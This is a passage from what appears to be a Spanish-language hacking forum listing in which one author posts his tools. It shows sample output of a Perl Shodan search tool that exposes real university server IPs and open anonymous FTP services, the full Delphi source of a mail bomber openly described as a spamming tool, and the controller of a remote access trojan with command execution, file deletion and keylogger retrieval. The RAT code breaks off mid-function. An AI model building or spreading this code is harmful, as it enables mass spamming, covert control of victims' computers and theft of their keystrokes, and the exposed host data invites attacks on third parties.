  33.    $resultados   = $shell_shodan->search( $ARGV[0] );
  34.  
  35.    @encontrados = @{ $resultados->{"matches"} };
  36.  
  37.    for ( $i = 0 ; $i < $#encontrados ; ) {
  38.  
  39.        print "\n[+] Search Number : " . $i . "\n";
  40.  
  41.        if ( $encontrados[$i]->{country_name} eq "" ) {
  42.            print "[+] Country : Not Found\n";
  43.        }
  44.        else {
  45.            print "[+] Country : " . $encontrados[$i]->{country_name} . "\n";
  46.        }
  47.        if ( $encontrados[$i]->{ip} eq "" ) {
  48.            print "[+] IP : Not Found\n";
  49.        }
  50.        else {
  51.            print "[+] IP : " . $encontrados[$i]->{ip} . "\n";
  52.        }
  53.  
  54.        print "[+] Hostnames: ",
  55.          join( "\t", @{ $encontrados[$i]->{hostnames} } ), "\n";
  56.  
  57.        print "\n";
  58.  
  59.        if ( $encontrados[$i]->{os} eq "" ) {
  60.            print "[+] OS : Not Found\n";
  61.        }
  62.        else {
  63.            print "[+] OS : " . $encontrados[$i]->{os} . "\n";
  64.        }
  65.        if ( $encontrados[$i]->{port} eq "" ) {
  66.            print "[+] Port : Not Found\n";
  67.        }
  68.        else {
  69.            print "[+] Port : " . $encontrados[$i]->{port} . "\n";
  70.        }
  71.        if ( $encontrados[$i]->{updated} eq "" ) {
  72.            print "[+] Last Updated : Not Found\n";
  73.        }
  74.        else {
  75.            print "[+] Last Updated : " . $encontrados[$i]->{updated} . "\n";
  76.        }
  77.  
  78.        print "\n[Data Start]\n" . $encontrados[$i]->{data} . "\n[Data End]\n";
  79.  
  80.        $i++;
  81.  
  82.        if ( $i % 5 == 0 ) {
  83.            print "\n[+] Press enter to show more\n";
  84.            <STDIN>;
  85.        }
  86.    }
  87. }
  88.  
  89. copyright();
  90.  
  91. # Functions
  92.  
  93. sub head {
  94.    print "\n-- == Shodan Tool 0.2 == --\n";
  95. }
  96.  
  97. sub copyright {
  98.    print "\n-- == (C) Doddy Hackman 2013 == --\n";
  99.    exit(1);
  100. }
  101.  
  102. # The End ?
  103.  

Un ejemplo de uso.

Código:
doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad"

-- == Shodan Tool 0.2 == --

[+] Searching ...

[+] Search Number : 0
[+] Country : Spain
[+] IP : 193.147.172.36
[+] Hostnames: ftp.fgh.us.es

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 27.11.2013
Wide character in print at shodanfinal.pl line 78.

[Data Start]
220-Microsoft FTP Service
220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA
230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA
230 Anonymous user logged in.
214-The following  commands are recognized(* ==>'s unimplemented).
   ABOR
   ACCT
   ALLO
   APPE
   CDUP
   CWD 
   DELE
   FEAT
   HELP
   LIST
   MDTM
   MKD 
   MODE
   NLST
   NOOP
   OPTS
   PASS
   PASV
   PORT
   PWD 
   QUIT
   REIN
   REST
   RETR
   RMD 
   RNFR
   RNTO
   SITE
   SIZE
   SMNT
   STAT
   STOR
   STOU
   STRU
   SYST
   TYPE
   USER
   XCUP
   XCWD
   XMKD
   XPWD
   XRMD
214  HELP command successful.
[Data End]

[+] Search Number : 1
[+] Country : Bolivia
[+] IP : 200.87.234.18
[+] Hostnames:

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 25.11.2013

[Data Start]
220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M.
230 Login successful.
214-The following commands are recognized.
 ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
 MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
 RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
 XPWD XRMD
214 Help OK.
[Data End]

[+] Search Number : 2
[+] Country : Chile
[+] IP : 146.83.193.197
[+] Hostnames: zafiro.ciencias.ubiobio.cl

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 24.11.2013

[Data Start]
HTTP/1.0 302 Found
Date: Sun, 24 Nov 2013 04:06:36 GMT
Server: Apache/2.2.16 (Debian)
Location: http://146.83.193.197/facultad/
Vary: Accept-Encoding
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1


[Data End]

[+] Search Number : 3
[+] Country : Venezuela
[+] IP : 190.169.126.3
[+] Hostnames: inving.ing.ucv.ve

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 23.11.2013

[Data Start]
220 FTP -2: - Facultad de Ingenieira
530 Login or password incorrect!
214-The following commands are recognized:
   USER   PASS   QUIT   CWD    PWD    PORT   PASV   TYPE
   LIST   REST   CDUP   RETR   STOR   SIZE   DELE   RMD
   MKD    RNFR   RNTO   ABOR   SYST   NOOP   APPE   NLST
   MDTM   XPWD   XCUP   XMKD   XRMD   NOP    EPSV   EPRT
   AUTH   ADAT   PBSZ   PROT   FEAT   MODE   OPTS   HELP
   ALLO   MLST   MLSD   SITE   P@SW   STRU   CLNT   MFMT
214 Have a nice day.
[Data End]

[+] Search Number : 4
[+] Country : Argentina
[+] IP : 163.10.23.131
[+] Hostnames: www.fcnym.unlp.edu.ar

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 200 OK
Date: Sat, 23 Nov 2013 14:31:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8


[Data End]

[+] Press enter to show more


[+] Search Number : 5
[+] Country : Mexico
[+] IP : 148.224.13.152
[+] Hostnames: 152-13-static.uaslp.mx

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 401 Unauthorized
Connection: Keep-Alive
Cache-Control: no-cache
WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth"
WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA"
Content-Type: text/html
Content-Length: 236


[Data End]

[+] Search Number : 6
[+] Country : Argentina
[+] IP : 190.11.104.87
[+] Hostnames: host87-104.cpenet.com.ar

[+] OS : Not Found
[+] Port : 137
[+] Last Updated : 22.11.2013

[Data Start]
NetBIOS Response
Servername: FACULTAD       
MAC: 00:1c:c0:9c:0a:ff

Names:
FACULTAD        <0x0>
SIX             <0x0>
FACULTAD        <0x20>
SIX             <0x1e>
SIX             <0x1d>
__MSBROWSE__ <0x1>

[Data End]

[+] Search Number : 7
[+] Country : Mexico
[+] IP : 132.248.18.23
[+] Hostnames: docencia.fca.unam.mx

[+] OS : Not Found
[+] Port : 143
[+] Last Updated : 22.11.2013

[Data Start]
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion
[Data End]

[+] Search Number : 8
[+] Country : Argentina
[+] IP : 170.210.88.7
[+] Hostnames: firewall.unp.edu.ar

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 22.11.2013

[Data Start]
220 Bienvenido al FTP de la Facultad de Ingenieria.
530 Permission denied.
530 Please login with USER and PASS.
[Data End]

[+] Search Number : 9
[+] Country : Argentina
[+] IP : 170.210.240.9
[+] Hostnames: cacuy.fi.unju.edu.ar

[+] OS : Not Found
[+] Port : 25
[+] Last Updated : 20.11.2013

[Data Start]
220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu

[Data End]

[+] Press enter to show more
168  Programación / Programación General / [Delphi] DH Botnet 0.5 en: 16 Diciembre 2013, 04:26 am
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl.

Contiene estas opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

Unas imagenes :





Si lo quieren bajar lo pueden hacer de aca.
169  Programación / Programación General / [Delphi] DH Bomber 0.5 en: 13 Diciembre 2013, 04:19 am
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código
  1. // DH Bomber 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  11.  sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  12.  IdIOHandlerSocket,
  13.  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  14.  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  15.  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  16.  acPNG;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    sSkinManager1: TsSkinManager;
  21.    sStatusBar1: TsStatusBar;
  22.    sPageControl1: TsPageControl;
  23.    sTabSheet1: TsTabSheet;
  24.    sTabSheet2: TsTabSheet;
  25.    sTabSheet3: TsTabSheet;
  26.    sTabSheet4: TsTabSheet;
  27.    sTabSheet5: TsTabSheet;
  28.    sTabSheet6: TsTabSheet;
  29.    sGroupBox1: TsGroupBox;
  30.    sLabel1: TsLabel;
  31.    sLabel2: TsLabel;
  32.    sEdit1: TsEdit;
  33.    sEdit2: TsEdit;
  34.    sGroupBox2: TsGroupBox;
  35.    sLabel5: TsLabel;
  36.    sLabel6: TsLabel;
  37.    sEdit5: TsEdit;
  38.    sEdit6: TsEdit;
  39.    sGroupBox3: TsGroupBox;
  40.    sMemo1: TsMemo;
  41.    sButton1: TsButton;
  42.    MediaPlayer1: TMediaPlayer;
  43.    sLabel3: TsLabel;
  44.    sEdit3: TsEdit;
  45.    Image1: TImage;
  46.    PopupMenu1: TPopupMenu;
  47.    N2: TMenuItem;
  48.    S2: TMenuItem;
  49.    sGroupBox4: TsGroupBox;
  50.    sMemo2: TsMemo;
  51.    sGroupBox5: TsGroupBox;
  52.    sListBox1: TsListBox;
  53.    sGroupBox6: TsGroupBox;
  54.    Image2: TImage;
  55.    sLabel7: TsLabel;
  56.    PopupMenu2: TPopupMenu;
  57.    L1: TMenuItem;
  58.    A1: TMenuItem;
  59.    C1: TMenuItem;
  60.    OpenDialog1: TOpenDialog;
  61.    sLabel4: TsLabel;
  62.    procedure FormCreate(Sender: TObject);
  63.    procedure N2Click(Sender: TObject);
  64.    procedure S2Click(Sender: TObject);
  65.  
  66.    procedure sButton1Click(Sender: TObject);
  67.    procedure C1Click(Sender: TObject);
  68.    procedure L1Click(Sender: TObject);
  69.  
  70.    procedure A1Click(Sender: TObject);
  71.  private
  72.    { Private declarations }
  73.  public
  74.    { Public declarations }
  75.  end;
  76.  
  77. var
  78.  Form1: TForm1;
  79.  themenow: Boolean;
  80.  
  81. implementation
  82.  
  83. {$R *.dfm}
  84. // Functions
  85.  
  86. procedure enviate_esta(username, password, toto, subject, body: string);
  87. var
  88.  data: TIdMessage;
  89.  mensaje: TIdSMTP;
  90.  
  91. begin
  92.  
  93.  mensaje := TIdSMTP.Create(nil);
  94.  
  95.  data := TIdMessage.Create(nil);
  96.  data.From.Address := username;
  97.  data.Recipients.EMailAddresses := toto;
  98.  data.subject := subject;
  99.  data.body.Text := body;
  100.  
  101.  mensaje.Host := 'smtp.gmail.com';
  102.  mensaje.Port := 587;
  103.  mensaje.username := username;
  104.  mensaje.password := password;
  105.  
  106.  mensaje.Connect;
  107.  mensaje.Send(data);
  108.  mensaje.Disconnect;
  109.  
  110.  mensaje.Free;
  111.  data.Free;
  112.  
  113. end;
  114.  
  115. //
  116.  
  117. procedure TForm1.A1Click(Sender: TObject);
  118. var
  119.  
  120.  archivo: TextFile;
  121.  lineas: String;
  122.  
  123. begin
  124.  
  125.  OpenDialog1.InitialDir := GetCurrentDir;
  126.  
  127.  if OpenDialog1.Execute then
  128.  begin
  129.    AssignFile(archivo, OpenDialog1.Filename);
  130.    Reset(archivo);
  131.  
  132.    while not EOF(archivo) do
  133.    begin
  134.      ReadLn(archivo, lineas);
  135.      sListBox1.Items.Add(lineas);
  136.    end;
  137.  
  138.  end;
  139.  
  140. end;
  141.  
  142. procedure TForm1.C1Click(Sender: TObject);
  143. begin
  144.  sListBox1.Clear;
  145. end;
  146.  
  147. procedure TForm1.FormCreate(Sender: TObject);
  148. begin
  149.  
  150.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  151.  sSkinManager1.SkinName := 'deep';
  152.  sSkinManager1.Active := True;
  153.  
  154.  MediaPlayer1.Filename := 'data/theme.mp3';
  155.  MediaPlayer1.Open;
  156.  themenow := True;
  157.  MediaPlayer1.Play;
  158.  MediaPlayer1.Notify := True;
  159.  
  160. end;
  161.  
  162. procedure TForm1.L1Click(Sender: TObject);
  163. var
  164.  mail: string;
  165. begin
  166.  mail := InputBox('DH Bomber 0.5', 'Mail', '');
  167.  if not(mail = '') then
  168.  begin
  169.    sListBox1.Items.Add(mail);
  170.  end;
  171. end;
  172.  
  173. procedure TForm1.N2Click(Sender: TObject);
  174. begin
  175.  themenow := True;
  176.  MediaPlayer1.Play;
  177.  MediaPlayer1.Notify := True;
  178. end;
  179.  
  180. procedure TForm1.S2Click(Sender: TObject);
  181. begin
  182.  themenow := false;
  183.  MediaPlayer1.Stop;
  184.  MediaPlayer1.Notify := True;
  185. end;
  186.  
  187. procedure TForm1.sButton1Click(Sender: TObject);
  188. var
  189.  i: integer;
  190.  i2: integer;
  191.  count: integer;
  192.  idasunto: string;
  193.  
  194. begin
  195.  
  196.  sMemo2.Clear;
  197.  
  198.  for i2 := sListBox1.Items.count - 1 downto 0 do
  199.  begin
  200.  
  201.    Sleep(StrToInt(sEdit3.Text) * 1000);
  202.  
  203.    count := StrToInt(sEdit5.Text);
  204.  
  205.    For i := 1 to count do
  206.    begin
  207.  
  208.      if count > 1 then
  209.      begin
  210.        idasunto := '_' + IntToStr(i);
  211.      end;
  212.  
  213.      try
  214.        begin
  215.  
  216.          sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
  217.            + ' ' + '[+] Message Number ' + IntToStr(i)
  218.            + ' : Sending ' + ' ...';
  219.          Form1.sStatusBar1.Update;
  220.  
  221.          enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
  222.            sEdit6.Text + idasunto, sMemo1.Text);
  223.  
  224.          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  225.              '[+] Message Number ' + IntToStr(i) + ' : OK ');
  226.  
  227.        end;
  228.      except
  229.        begin
  230.          sStatusBar1.Panels[0].Text :=
  231.            '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  232.  
  233.          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  234.              '[+] Message Number ' + IntToStr(i) + ' : FAIL ');
  235.  
  236.          Form1.sStatusBar1.Update;
  237.        end;
  238.  
  239.      end;
  240.  
  241.    end;
  242.  
  243.  end;
  244.  
  245.  sStatusBar1.Panels[0].Text := '[+] Finished';
  246.  Form1.sStatusBar1.Update;
  247.  
  248. end;
  249.  
  250. end.
  251.  
  252. // The End ?
  253.  

Si lo quieren bajar lo pueden hacer de aca.
170  Programación / Programación General / [Delphi] DH Rat 0.3 en: 9 Diciembre 2013, 03:30 am
Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

Una imagen :



Los codigos.

El Administrador.

Código
  1. // DH Rat 0.3
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit rat;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  11.  sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
  12.  sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
  13.  IdTCPConnection, IdTCPClient, madRes, WinInet;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    sStatusBar1: TsStatusBar;
  19.    sPageControl1: TsPageControl;
  20.    sTabSheet1: TsTabSheet;
  21.    sTabSheet2: TsTabSheet;
  22.    sTabSheet3: TsTabSheet;
  23.    sTabSheet4: TsTabSheet;
  24.    sGroupBox1: TsGroupBox;
  25.    sGroupBox2: TsGroupBox;
  26.    sListView1: TsListView;
  27.    sMemo1: TsMemo;
  28.    sGroupBox3: TsGroupBox;
  29.    sGroupBox4: TsGroupBox;
  30.    sEdit1: TsEdit;
  31.    sGroupBox5: TsGroupBox;
  32.    sButton1: TsButton;
  33.    sGroupBox6: TsGroupBox;
  34.    Image1: TImage;
  35.    sLabel1: TsLabel;
  36.    ServerSocket1: TServerSocket;
  37.    PopupMenu1: TPopupMenu;
  38.    O1: TMenuItem;
  39.    C1: TMenuItem;
  40.    L1: TMenuItem;
  41.    D1: TMenuItem;
  42.    R1: TMenuItem;
  43.    S1: TMenuItem;
  44.    J1: TMenuItem;
  45.    M1: TMenuItem;
  46.    T1: TMenuItem;
  47.    ifPoslistarprocesoscode0then1: TMenuItem;
  48.    K1: TMenuItem;
  49.    C2: TMenuItem;
  50.    C3: TMenuItem;
  51.    H1: TMenuItem;
  52.    S2: TMenuItem;
  53.    H2: TMenuItem;
  54.    S3: TMenuItem;
  55.    K2: TMenuItem;
  56.    PopupMenu2: TPopupMenu;
  57.    S4: TMenuItem;
  58.    S5: TMenuItem;
  59.    Image2: TImage;
  60.    sGroupBox7: TsGroupBox;
  61.    sGroupBox8: TsGroupBox;
  62.    Image3: TImage;
  63.    sButton2: TsButton;
  64.    OpenDialog1: TOpenDialog;
  65.    sEdit2: TsEdit;
  66.    procedure ServerSocket1ClientRead(Sender: TObject;
  67.      Socket: TCustomWinSocket);
  68.  
  69.    procedure O1Click(Sender: TObject);
  70.    procedure C1Click(Sender: TObject);
  71.    procedure ServerSocket1ClientConnect(Sender: TObject;
  72.      Socket: TCustomWinSocket);
  73.    procedure L1Click(Sender: TObject);
  74.    procedure D1Click(Sender: TObject);
  75.    procedure R1Click(Sender: TObject);
  76.    procedure S1Click(Sender: TObject);
  77.    procedure J1Click(Sender: TObject);
  78.    procedure M1Click(Sender: TObject);
  79.    procedure T1Click(Sender: TObject);
  80.    procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
  81.    procedure K1Click(Sender: TObject);
  82.    procedure C2Click(Sender: TObject);
  83.    procedure C3Click(Sender: TObject);
  84.    procedure H1Click(Sender: TObject);
  85.    procedure S2Click(Sender: TObject);
  86.    procedure H2Click(Sender: TObject);
  87.    procedure S3Click(Sender: TObject);
  88.    procedure K2Click(Sender: TObject);
  89.    procedure FormCreate(Sender: TObject);
  90.    procedure S4Click(Sender: TObject);
  91.  
  92.    procedure S5Click(Sender: TObject);
  93.    procedure sButton2Click(Sender: TObject);
  94.    procedure sEdit1DblClick(Sender: TObject);
  95.  
  96.    procedure sButton1Click(Sender: TObject);
  97.  private
  98.    { Private declarations }
  99.  public
  100.    { Public declarations }
  101.  end;
  102.  
  103. var
  104.  Form1: TForm1;
  105.  argumento: string;
  106.  
  107. implementation
  108.  
  109. {$R *.dfm}
  110. // Functions
  111.  
  112. function toma(const pagina: string): UTF8String;
  113.  
  114. // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
  115. // Thanks to www.scalabium.com
  116.  
  117. var
  118.  nave1: HINTERNET;
  119.  nave2: HINTERNET;
  120.  tou: DWORD;
  121.  codez: UTF8String;
  122.  codee: array [0 .. 1023] of byte;
  123.  finalfinal: string;
  124.  
  125. begin
  126.  
  127.  try
  128.  
  129.    begin
  130.  
  131.      finalfinal := '';
  132.      Result := '';
  133.  
  134.      nave1 := InternetOpen(
  135.        'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
  136.          , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  137.  
  138.      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
  139.        INTERNET_FLAG_RELOAD, 0);
  140.  
  141.      repeat
  142.  
  143.      begin
  144.        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
  145.        SetString(codez, PAnsiChar(@codee[0]), tou);
  146.        finalfinal := finalfinal + codez;
  147.      end;
  148.  
  149.      until tou = 0;
  150.  
  151.      InternetCloseHandle(nave2);
  152.      InternetCloseHandle(nave1);
  153.  
  154.      Result := finalfinal;
  155.    end;
  156.  
  157.  except
  158.    //
  159.  end;
  160.  
  161. end;
  162.  
  163. function regex(text: String; deaca: String; hastaaca: String): String;
  164. begin
  165.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  166.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  167.  Result := text;
  168. end;
  169.  
  170. function dhencode(texto, opcion: string): string;
  171. // Thanks to Taqyon
  172. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  173. var
  174.  num: integer;
  175.  aca: string;
  176.  cantidad: integer;
  177.  
  178. begin
  179.  
  180.  num := 0;
  181.  Result := '';
  182.  aca := '';
  183.  cantidad := 0;
  184.  
  185.  if (opcion = 'encode') then
  186.  begin
  187.    cantidad := Length(texto);
  188.    for num := 1 to cantidad do
  189.    begin
  190.      aca := IntToHex(ord(texto[num]), 2);
  191.      Result := Result + aca;
  192.    end;
  193.  end;
  194.  
  195.  if (opcion = 'decode') then
  196.  begin
  197.    cantidad := Length(texto);
  198.    for num := 1 to cantidad div 2 do
  199.    begin
  200.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  201.      Result := Result + aca;
  202.    end;
  203.  end;
  204.  
  205. end;
  206.  
  207. procedure savefile(filename, texto: string);
  208. var
  209.  ar: TextFile;
  210.  
  211. begin
  212.  
  213.  AssignFile(ar, filename);
  214.  FileMode := fmOpenWrite;
  215.  
  216.  if FileExists(filename) then
  217.    Append(ar)
  218.  else
  219.    Rewrite(ar);
  220.  
  221.  Write(ar, texto);
  222.  CloseFile(ar);
  223.  
  224. end;
  225.  
  226. //
  227.  
  228. procedure TForm1.FormCreate(Sender: TObject);
  229. begin
  230.  
  231.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  232.  sSkinManager1.SkinName := 'matrix';
  233.  sSkinManager1.Active := True;
  234.  
  235.  try
  236.    begin
  237.  
  238.      sListView1.Items.Clear;
  239.  
  240.      ServerSocket1.Port := 6664;
  241.      ServerSocket1.Open;
  242.  
  243.      sStatusBar1.Panels[0].text := '[+] Online';
  244.      Form1.sStatusBar1.Update;
  245.  
  246.    end;
  247.  except
  248.    sStatusBar1.Panels[0].text := '[-] Error';
  249.    Form1.sStatusBar1.Update;
  250.  end;
  251. end;
  252.  
  253. procedure TForm1.C1Click(Sender: TObject);
  254. begin
  255.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
  256. end;
  257.  
  258. procedure TForm1.C2Click(Sender: TObject);
  259. begin
  260.  argumento := InputBox('DH Rat', 'Command', 'net user');
  261.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  262.    ('![ejecutar] [argumento]' + argumento + '[argumento]');
  263. end;
  264.  
  265. procedure TForm1.C3Click(Sender: TObject);
  266. begin
  267.  argumento := InputBox('DH Rat', 'Number', '123');
  268.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  269.    ('![crazymouse] [argumento]' + argumento + '[argumento]');
  270. end;
  271.  
  272. procedure TForm1.D1Click(Sender: TObject);
  273. begin
  274.  argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
  275.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  276.    ('![borraresto] [argumento]' + argumento + '[argumento]');
  277. end;
  278.  
  279. procedure TForm1.H1Click(Sender: TObject);
  280. begin
  281.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  282.    ('![ocultartaskbar]');
  283. end;
  284.  
  285. procedure TForm1.H2Click(Sender: TObject);
  286. begin
  287.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  288.    ('![ocultariconos]');
  289. end;
  290.  
  291. procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
  292. begin
  293.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  294.    ('![listarprocesos]');
  295. end;
  296.  
  297. procedure TForm1.J1Click(Sender: TObject);
  298. begin
  299.  
  300.  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  301.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  302.    ('![escribirword] [argumento]' + argumento + '[argumento]');
  303.  
  304. end;
  305.  
  306. procedure TForm1.K1Click(Sender: TObject);
  307. begin
  308.  argumento := InputBox('DH Rat', 'PID', '');
  309.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  310.    ('![matarproceso] [argumento]' + argumento + '[argumento]');
  311. end;
  312.  
  313. procedure TForm1.K2Click(Sender: TObject);
  314. begin
  315.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  316.    ('![keyloggerlogs]');
  317. end;
  318.  
  319. procedure TForm1.L1Click(Sender: TObject);
  320. begin
  321.  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  322.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  323.    ('![listardirectorio] [argumento]' + argumento + '[argumento]');
  324. end;
  325.  
  326. procedure TForm1.M1Click(Sender: TObject);
  327. begin
  328.  argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
  329.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  330.    ('![mensaje] [argumento]' + argumento + '[argumento]');
  331.  
  332. end;
  333.  
  334. procedure TForm1.O1Click(Sender: TObject);
  335. begin
  336.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
  337. end;
  338.  
  339. procedure TForm1.R1Click(Sender: TObject);
  340. begin
  341.  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  342.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  343.    ('![leerarchivo] [argumento]' + argumento + '[argumento]');
  344.  
  345. end;
  346.  
  347. procedure TForm1.S1Click(Sender: TObject);
  348. begin
  349.  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  350.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  351.    ('![sendkeys] [argumento]' + argumento + '[argumento]');
  352.  
  353. end;
  354.  
  355. procedure TForm1.S2Click(Sender: TObject);
  356. begin
  357.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  358.    ('![volvertaskbar]');
  359. end;
  360.  
  361. procedure TForm1.S3Click(Sender: TObject);
  362. begin
  363.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  364.    ('![volvericonos]');
  365. end;
  366.  
  367. procedure TForm1.T1Click(Sender: TObject);
  368. begin
  369.  argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
  370.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  371.    ('![hablar] [argumento]' + argumento + '[argumento]');
  372. end;
  373.  
  374. procedure TForm1.S4Click(Sender: TObject);
  375. begin
  376.  
  377.  try
  378.    begin
  379.      ServerSocket1.Port := 6664;
  380.      ServerSocket1.Open;
  381.  
  382.      sListView1.Items.Clear;
  383.  
  384.      sStatusBar1.Panels[0].text := '[+] Online';
  385.      Form1.sStatusBar1.Update;
  386.    end;
  387.  except
  388.  
  389.    sStatusBar1.Panels[0].text := '[-] Error';
  390.    Form1.sStatusBar1.Update;
  391.  end;
  392.  
  393. end;
  394.  
  395. procedure TForm1.S5Click(Sender: TObject);
  396. begin
  397.  try
  398.    begin
  399.  
  400.      sListView1.Items.Clear;
  401.      ServerSocket1.Close;
  402.      sStatusBar1.Panels[0].text := '[+] OffLine';
  403.      Form1.sStatusBar1.Update;
  404.    end;
  405.  except
  406.    sStatusBar1.Panels[0].text := '[-] Error';
  407.    Form1.sStatusBar1.Update;
  408.  end;
  409. end;
  410.  
  411. procedure TForm1.sButton1Click(Sender: TObject);
  412.  
  413. var
  414.  linea: string;
  415.  aca: THandle;
  416.  code: Array [0 .. 9999 + 1] of Char;
  417.  nose: DWORD;
  418.  marca_uno: string;
  419.  lineafinal: string;
